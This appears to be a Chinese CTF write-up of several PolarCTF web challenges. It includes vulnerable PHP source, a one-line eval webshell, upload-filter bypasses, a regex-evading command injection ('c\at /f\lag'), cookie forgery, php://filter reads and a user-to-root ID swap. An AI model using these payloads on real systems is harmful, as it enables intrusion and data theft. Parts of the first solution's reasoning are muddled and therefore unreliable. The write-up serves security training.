polarctf2025秋

狗黑子的eval

查看源代码并没有什么发现。所以先进行目录扫描看看

发现flag.php和shell.php两个隐藏文件,分别访问看看

访问flag.php发现"tips:gouheizigouheizi=2gouheizi //不要勾八"这段提示,但是有点不太懂

查看源代码发现"payload.php 狗黑子数数喜欢从1开始,不喜欢0",通过这段话我们可以访问一下payload.php看看

发现一段代码,并有一段提示gou=a,gougou=b;

我们根据提示gou=a,gougou=b; 可以知道这不是普通注释,而是 "变量别名映射": 对应字母表的 a,gougou 对应 b 推导规律:gou+数字 对应字母 1gou=a、2gou=b、3gou=c

所以$gou1="12gou"对应的字母为l

$gou5="16gou"对应的字母为p

$gou4="5gou"对应的字母为e

$gou6="gou"对应的字母为a

$gou2="22gou"对应的字母是v

$gou3="15gou"对应的字母为o

$gou7="c3Rnbw=="解码后的结果为stgo

gou4+gou2+gou6+gou1+gou5+gou3 → e+v+a+l+p+o → evalpo

$gou834 → 字符5

$gou810 → 字符7

$gou815 → 字符8

$gou8105 → 字符0

$gou851 → 字符3

gou14=gou12 → 字符8

拼接 gou11+gou13+gou17+gou12+gou10+gou14 → 3+5+7+8+0+8 → 357808

$gou8的原始内容是Unicode 编码的中文,解码后是:经过抖音快手 我是一个菜鸡白痴,就是玩不懂 Base64啊哈哈哈 Base64 晕了我我头疼死了。

白痴" 的拼音是baichi,结合 CTF 常见的谐音 / 错别字套路,baizi→ 结合gou(狗)→ goubaizi,这就是最终输出evalpostgoubaizi的核心

复制代码
<?php 
highlight_file(__FILE__);
//gou=a,gougou=b;
$gou1="12gou";$gou5="16gou";$gou4="5gou";$gou6="gou";
$gou2="22gou";$gou3="15gou";
$gou7="c3Rnbw==";
$gou8='5pys572R6aG15piv5LiA5Liq5zyo57q/5bel5YW377yM5Y+v5Lul5oqK5a2X56ym5Liy6L2s5oiQIEJhc2U2NzCDmiJbogIXku44gQmFzzTY0IOi9rOaIkOaIkOWtl+espuS4s';
$gou13=$gou8{34};$gou17=$gou8{10};$gou12=$gou8{15};$gou10=$gou8{105};$gou14=$gou12;$gou11=$gou8{51};

$gou=$gou4.$gou2.$gou6.$gou1.$gou5.$hou3.$gou7.$gou8.$gou11.$gou13.$gou17.$gou12.$gou10.$gou14;
?>

<?php 
highlight_file(__FILE__);
// 变量映射表:
// gou1=12gou → 12→l | gou2=22gou→22→v | gou3=15gou→15→o
// gou4=5gou→5→e | gou5=16gou→16→p | gou6=gou→a
$gou1="12gou";$gou5="16gou";$gou4="5gou";$gou6="gou";
$gou2="22gou";$gou3="15gou";

// Base64解码:c3Rnbw== → stgo
$gou7="c3Rnbw==";
// 修正后的gou8(开头加a,适配字符下标)
$gou8='a5pys572R6aG15piv5LiA5Liq5Zyo57q/5bel5YW377yM5Y+v5Lul5oqK5a2X56ym5Liy6L2s5oiQIEJhc2U2NCDmiJbogIXku44gQmFzZTY0IOi9rOaIkOaIkOWtl+espuS4s';

// PHP7.4+兼容:{}改为[],截取指定位置字符
$gou13=$gou8[34];  // 5
$gou17=$gou8[10];  // 7
$gou12=$gou8[15];  // 8
$gou10=$gou8[105]; // 0
$gou14=$gou12;     // 8
$gou11=$gou8[51];  // 3

$gou=$gou4.$gou2.$gou6.$gou1.$gou5.$gou3.$gou7.$gou8.$gou11.$gou13.$gou17.$gou12.$gou10.$gou14;

$a=$gou4.$gou2.$gou6.$gou1.$gou5.$gou3; // e+v+a+l+p+o = evalpo
$b=$gou11.$gou13.$gou17.$gou12.$gou10.$gou14; // 3+5+7+8+0+8 = 357808
$dec_gou7 = base64_decode($gou7); // stgo

// 最终拼接
echo "evalpostgo".$b; // evalpostgo357808
echo "<br>evalpostgoubaizi"; 
?>

最终拼接出来的evalpostgoubaizi这段像一句话木马eval post goubaizi

直接进行命令执行

但是执行后无回显,所以使用重定向输出

post:goubaizi=system("ls / >index.php");

然后访问index.php,会发现

没有发现存放flag的文件,使用:find / -name "*flag*" 2>/dev/null来查找flag在哪里

输入 goubaizi=system("find / -name '*flag*' 2>/dev/null >index.php");

发现flag在 /etc/flag

所以查看flag

输入 goubaizi=system("cat /etc/flag >index.php");

flag{31b657d6f6cb8a63b8d06e1682d526a0}

狗黑子的登录

打开题目便是一个登录页面,尝试弱密码发现是不可以的

使用dirsearch来进行目录扫描,发现有源码泄露

我们可以使用GitHack来下载泄露的源码

index.php文件内容

复制代码
<?php
session_start();

if (isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true) {
    header('Location: admin.php');
    exit;
}


if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['seclients_can_register'])) {
    $registerValue = $_POST['seclients_can_register'];
    // 明确处理0和1两种情况
    if ($registerValue == 1) {
        $_SESSION['show_register'] = true;  
    } elseif ($registerValue == 0) {
        $_SESSION['show_register'] = false; 
    }
}

// 处理登录
$error = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['login'])) {
    $username = $_POST['username'] ?? '';
    $password = $_POST['password'] ?? '';
    
    require 'config.php';
    
    if (isset($users[$username]) && $users[$username] === $password) {
        $_SESSION['logged_in'] = true;
        $_SESSION['username'] = $username;
        header('Location: admin.php');
        exit;
    } else {
        $error = '用户名或密码不正确';
    }
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <title>狗黑子的小破站</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
            background-color: #f0f0f0;
        }
        .login-container {
            background-color: white;
            padding: 2rem;
            border-radius: 8px;
            box-shadow: 0 0 10px rgba(0,0,0,0.1);
        }
        .form-group {
            margin-bottom: 1rem;
        }
        label {
            display: block;
            margin-bottom: 0.5rem;
        }
        input {
            width: 100%;
            padding: 0.5rem;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        button {
            width: 100%;
            padding: 0.5rem;
            background-color: #007bff;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
        button:hover {
            background-color: #0056b3;
        }
        .error {
            color: red;
            margin-bottom: 1rem;
        }
        .register-btn {
            margin-top: 1rem;
            font-size: 0.8rem;
            padding: 0.3rem;
            background-color: #6c757d;
        }
        .register-btn:hover {
            background-color: #5a6268;
        }
    </style>
</head>
<body>
    <div class="login-container">
        <h2>用户登录</h2>
        <?php if ($error): ?>
            <div class="error"><?php echo $error; ?></div>
        <?php endif; ?>
        
        <form method="post">
            <div class="form-group">
                <label for="username">用户名</label>
                <input type="text" id="username" name="username" required>
            </div>
            <div class="form-group">
                <label for="password">密码</label>
                <input type="password" id="password" name="password" required>
            </div>
            <button type="submit" name="login">登录</button>
            
            <?php if (isset($_SESSION['show_register']) && $_SESSION['show_register'] === true): ?>
                <button type="button" class="register-btn" onclick="window.location.href='register.php'">注册</button>
            <?php endif; ?>
        </form>
    </div>
</body>
</html>

admin.php文件内容

vb 复制代码
`<?php
session_start();

if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
    header('Location: index.php');
    exit;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['seclients_can_upload']) && $_POST['seclients_can_upload'] == 1) {
    $_SESSION['show_upload'] = true;
}

$upload_message = '';
if (isset($_SESSION['show_upload']) && $_SESSION['show_upload'] === true && $_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
    $target_dir = "uploads/";
    if (!file_exists($target_dir)) {
        mkdir($target_dir, 0777, true);
    }
    
    $target_file = $target_dir . basename($_FILES["file"]["name"]);
    $uploadOk = true;
    

    if ($_FILES["file"]["size"] < 200 * 1024) {
        $upload_message = "文件太小了。";
        $uploadOk = false;
    }
    

    $image_types = array('image/jpeg', 'image/png', 'image/gif', 'image/webp');
    $file_type = $_FILES["file"]["type"];
    
    if (!in_array($file_type, $image_types)) {
        $upload_message = "只允许上传图片文件 (JPG, PNG, GIF, WEBP)。";
        $uploadOk = false;
    }
    

    if ($uploadOk && move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
        $upload_message = "文件 " . htmlspecialchars(basename($_FILES["file"]["name"])) . " 上传成功。";
    } elseif ($uploadOk) {
        $upload_message = "文件上传失败。";
    }
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <title>狗黑子的小破站</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            padding: 2rem;
        }
        .upload-section {
            margin-top: 2rem;
            padding: 1rem;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        .message {
            margin: 1rem 0;
            padding: 1rem;
            border-radius: 4px;
        }
        .success {
            background-color: #d4edda;
            color: #155724;
        }
        .error {
            background-color: #f8d7da;
            color: #721c24;
        }
        button {
            padding: 0.5rem 1rem;
            background-color: #dc3545;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
        button:hover {
            background-color: #c82333;
        }
        input[type="file"] {
            margin: 1rem 0;
        }
        input[type="submit"] {
            padding: 0.5rem 1rem;
            background-color: #28a745;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
        input[type="submit"]:hover {
            background-color: #218838;
        }
    </style>
</head>
<body>
    <h1>恭喜进来<?php echo htmlspecialchars($_SESSION['username']); ?>!</h1>
    <p><a href="logout.php"><button>退出登录</button></a></p>
    
    <?php if ($upload_message): ?>
        <div class="message <?php echo strpos($upload_message, '成功') !== false ? 'success' : 'error'; ?>">
            <?php echo $upload_message; ?>
        </div>
    <?php endif; ?>
    
    <?php if (isset($_SESSION['show_upload']) && $_SESSION['show_upload'] === true): ?>
        <div class="upload-section">
            <h2>文件上传</h2>
            <form method="post" enctype="multipart/form-data">
                <input type="file" name="file" id="file">
                <br>
                <input type="submit" value="上传文件" name="upload">
            </form>
        </div>
    <?php endif; ?>
</body>
</html>
`

在index.php中我们知道seclients_can_register 这个 POST 参数可以控制是否显示注册按钮(值为 1 显示,0 隐藏)所以我们可以先通过POST传seclients_can_register=1来开启注册,注册账号后登录。

点击注册来注册用户,注册成功后就进行登录

根据admin.php代码,知道这里可以进行文件上传,但是要通过POST传seclients_can_upload=1才能显示出来

根据源码我们知道这里只检查MIME和文件大小,代码提到文件大小如果小于200k就会返回文件太小了而上传失败,代码还提到只能上传图片文件,但是检查的是MIME

文件上传成功后就可以进行蚁剑连接

flag在根目录下的flag.txt

flag{aa1e3ea993e122de5de6e387db6c8609}

ZGZH

打开题目便是这样的页面,要求提交您的序列化用户信息

我们先将user进行一个反序列化,但是就只知道一个user类,其他的 成员变量等什么信息都不知道

所以先进行目录扫描

发现了flag文件,先进行访问

返回"还没结束呢 账号弄完了再去pass里搞个密码吧"

所以先访问pass.php页面

这时会来到安全验证中心,这里有五点要求,所以密码要满足这五点要求,最重要的是和857是弱比较

我们可以输入857.00E+0000

就会返回flag:flag{you_found_the_correct_password}

老刘的小店

打开题目便是要求只有登录成功才能进入老刘的polar牢店,但是下面也写有你说你不是老刘的粉丝那还不赶快加一个

所以,我们相加入成为粉丝

进入便是这样,可以买商品,但是这里的商品都比我现在所拥有的金币要多,根本买不了

在查看源码中发现了,我们这里有 ,添加前端验证,限制转账金额在1-9之间,这是前端验证,我们可以抓包进行修改转金额

所以重新再创建一个账号,点击转账,然后抓包

这样账户2就有了很多金币

这时我们来购买一下最贵的老刘的秘密钥匙

购买成功后,获得一个用户名和密码

用这个用户名密码来进行登录

进入了老刘的个人页面,这些都是老刘的平生简介

查看源代码发现了

复制代码
if (isset($_GET['id'])) {
$id=$_GET['id'];
    if(preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i",$id)) {
        $output = '你想干什么?';
    }else{
     system($id);
    }
} 

要求通过GET传入id参数,参数的值不能有正则匹配中的内容,这里可以使用转义字符来绕过

先输入ls /发现了flag文件,进行查看一下flag文件的内容

输入?id=c\at /f\lag,就得到了flag

flag:flag{thegiftforliuge520}

Squirtle的论坛

打开便是这张页面,这里讲这里的user可以是任何人,但master只能是Squirtle

查看源代码并没有看到有用的信息,所以进行目录扫描,发现一些路径

访问/admin.php,返回无权限访问

看到无权限访问想到的是master只能是Squirtle,看看是不是伪造cookie值将master=Squirtle

进入到admin.php页面

这里可以发表帖子还可以进行文件上传,看到这个页面想到的是xss和文件上传漏洞

先看看文件上传,上传一句话木马文件。内容为:<?php @eval($_POST'cmd');?>

上传成功,点击1.php文件查看一下,获取上传的目录

进行命令执行

flag{PolarD&N_YYDS}

狗黑子的舔狗日记

也没有什么就只有微信,朋友圈,我,我中只有退出登录可以点,源代码中也没有发现什么信息,就尝试扫描目录看看有没有什么信息

发现flag.php文件和一个压缩包文件还有源码文件

访问flag.php

就一个表白页面,看了源代码也没有什么发现

访问压缩文件

是一个密码字典

访问index.php文件

到微信界面,但是之前的微信界面的url是?page=xiaoxi.php

所以应该是 通过?page参数来访问index.php,尝试目录穿越,但是显示不支持其他操作

尝试使用伪协议来读取文件

解码

发现了flag的base64的加密

知道了flag的内容是女神的名字MD5加密的结果

也得知了女神微信号:nvshen。加上前面的密码字典和上面目录扫描的/index.php/login/

可以登录女神的微信

/index.php/login/这个路径没用,只能从我,退出登录,然后重新登录

密码是:nvshen345。登录成功

尝试了,这个页面只可以发消息

尝试发了个不想去就会名字了

名字: 柳茹烟

进行MD5加密

flag{aa1e3ea993e122de5de6e387db6c8609}

狗黑子的跳转

在index中看到这个表单是通过post传数据,而且还显示了这个按钮的id是moveBtn,所以通过POST看看

就进入到这个上传页面

我们还可以禁用JS,这样按钮就不会乱动了

上传一句话木马文件,点击选择文件发现这个是只能上传图片马

所以上传图片马文件cmd.png内容是<?php @eval($_POST'cmd');?>

抓包,将png改为php后放行,发现上传成功,这只是一个前端检验

虽然上传成功但是没有返回路径

但是看url会发现./ghzgouheizi.php?gou=ghzgouheizi.php 这是一个文件包含,使用php://filter来读取ghzgouheizi.php的内容,发现:

复制代码
<?php

if (!isset($_GET['gou'])) {
    header("Location: ?gou=ghzgouheizi.php");
    exit;
}


$gou = $_GET['gou'];


if (strpos($gou, '../') !== false) {
    die("不允许访问上级目录!");
}

$blockProtocols = ['php://input', 'data://', 'phar://'];
foreach ($blockProtocols as $proto) {
    if (strpos($gou, $proto) === 0) {
        die("禁止使用危险协议!");
    }
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
    $file = $_FILES['file'];

    $allowedTypes = ['image/jpeg', 'image/png', 'image/gif'];
    if (!in_array($file['type'], $allowedTypes)) {
        die("只允许上传图片文件!");
    }

    $ext = pathinfo($file['name'], PATHINFO_EXTENSION);
    if (empty($ext)) {
        die("文件缺少扩展名!");
    }

    $originalName = $file['name'];
    $base64Name = base64_encode($originalName);
    $md5Name = md5($base64Name);
    $filename = $md5Name . '.' . $ext;

    $uploadDir = './uploads/';
    if (!is_dir($uploadDir)) {
        mkdir($uploadDir, 0755, true);
    }

    $uploadPath = $uploadDir . $filename;
    if (move_uploaded_file($file['tmp_name'], $uploadPath)) {
        echo "文件上传成功!";
    } else {
        die("文件上传失败!");
    }
}

$currentFile = basename(__FILE__);
if ($gou !== $currentFile) {
    $includePath = './' . $gou;
    if (strpos($gou, 'php://filter') === 0) {
        include($gou);
    } elseif (is_file($includePath)) {
        include($includePath);
    } else {
        die("包含的文件不存在或不是有效文件!");
    }
    exit;
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>狗黑子的小破站</title>
</head>
<body>
<form method="post" enctype="multipart/form-data">
    <input type="file" name="file" accept="image/*">
    <button type="submit">上传</button>
</form>
</body>
</html>

这段代码的大致意思是只允许上传图片文件,(但是这个可以在进行抓包进行修改后缀名来绕过),上传的文件要先进行base64编码然后再进行MD5编码然后再带上原本的文件后缀名:facf076347701efa02f7d77e64b4f8a0.php,然后将文件放到根目录下的uploads目录下面

这样我们就直接访问 ./uploads/facf076347701efa02f7d77e64b4f8a0.php,返回空白页面,访问成功,然后就可以进行命令执行或者蚁剑连接

命令执行:

flag{06d22add0cf74c46feffe95e7f8}

蚁剑链接:

flag{06d22add0cf74c46feffe95e7f8}

polar快递

下载备忘录

使用普通账户和密码登录

进入普通用户只能看,还是要进入更高的权限,最高权限为root

退出登录,重新登录,抓包

发现id=user,垂直越权

尝试将id改为root

发现polarroot.php文件

使用root权限访问polarroot.php文件看看文件中有什么

flag{welcome_to_polarctf}

相关推荐
damoluomu4 天前
挑 PHP CMS 之前,先学会看它的协议
php
云水一下4 天前
零基础玩转bWAPP靶场(七十一):Slow HTTP DoS(慢速HTTP拒绝服务)
web安全·bwapp·slowhttptest
千里马学框架4 天前
一起学 Android 14:ShellTransition 屏幕旋转过程深度剖析
android·智能手机·性能优化·framework·性能·屏幕旋转·rotation
美狐美颜SDK开放平台4 天前
开发直播APP时如何接入视频美颜SDK?开发流程与注意事项
android·人工智能·计算机视觉·音视频·直播美颜sdk
AFinalStone4 天前
Android7 SystemUI源码解析(七)Keyguard锁屏模块深度解析
android·systemui
致远ccc4 天前
Google Play 上架前如何测试 App?多国家 Android 环境测试
android·app测试·googleplay·多国家应用测试
ttyyttemo4 天前
Kotlin 协程中的 Job 结构化并发与取消
android
sun0077004 天前
tbox 4g/5g切换,导致wan ip 改变,导致车机旧网络不可用。需要重启车机才行
android
其实防守也摸鱼4 天前
内网穿透与反向代理:原理、工具与实战指南
android·大数据·运维·安全·网络安全·自动化·渗透
AFinalStone4 天前
Android7 SystemUI 源码解析(四)NavigationBar 导航栏与 SystemBars
android·systemui